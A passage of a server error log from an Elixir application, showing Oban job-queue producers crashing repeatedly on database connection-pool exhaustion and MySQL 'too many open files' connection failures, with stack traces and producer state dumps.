    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:56:15.238623Z], limit: 3, uuid: "60aa14ad-9a68-488c-a615-0f81073fe953", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:15.238630Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244715>, refresh_timer: #Reference<0.2525715032.1077411843.225994>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:56:15.240265Z], limit: 5, uuid: "1a02ff7b-e869-4e7f-9cfb-870c26a66674", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:15.240271Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244713>, refresh_timer: #Reference<0.2525715032.1077411843.226012>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:56:15.240450Z], limit: 50, uuid: "9506e940-be1d-4cc2-a650-177ec0e34831", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:15.240455Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.244714>, refresh_timer: #Reference<0.2525715032.1077411843.226019>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:27.250000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:56:15.241997Z], limit: 5, uuid: "44a35c99-b94d-49e9-81f3-72f3a582503d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:15.242003Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100632>, refresh_timer: #Reference<0.2525715032.1121189889.100628>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:27.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:56:15.243586Z], limit: 10, uuid: "def78ad2-9a0c-41b5-915e-7362c4beb7b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:15.243592Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.251873>, refresh_timer: #Reference<0.2525715032.1099169794.251871>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:29.741000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:31.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:31.357000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:33.847000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:33.893000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:38.698000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:56:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:56:27.248271Z], limit: 20, uuid: "5fde4202-88b1-435f-a0d2-02b3b3ec842e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:27.248277Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245059>, refresh_timer: #Reference<0.2525715032.1099169794.252090>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:56:27.255439Z], limit: 5, uuid: "44bd2f91-ef29-4f0d-abcd-d08e2d2b90dc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:27.255445Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245054>, refresh_timer: #Reference<0.2525715032.1068236804.245046>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:56:27.253949Z], limit: 3, uuid: "ec0bccab-fa28-4341-8ac2-c741ba03745a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:27.253955Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245058>, refresh_timer: #Reference<0.2525715032.1121189889.100705>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:39.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:56:27.255301Z], limit: 50, uuid: "e0ff2917-4f54-41c9-8bbb-7156d97721ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:56:27.255309Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.245057>, refresh_timer: #Reference<0.2525715032.1121189889.100709>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:56:39.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
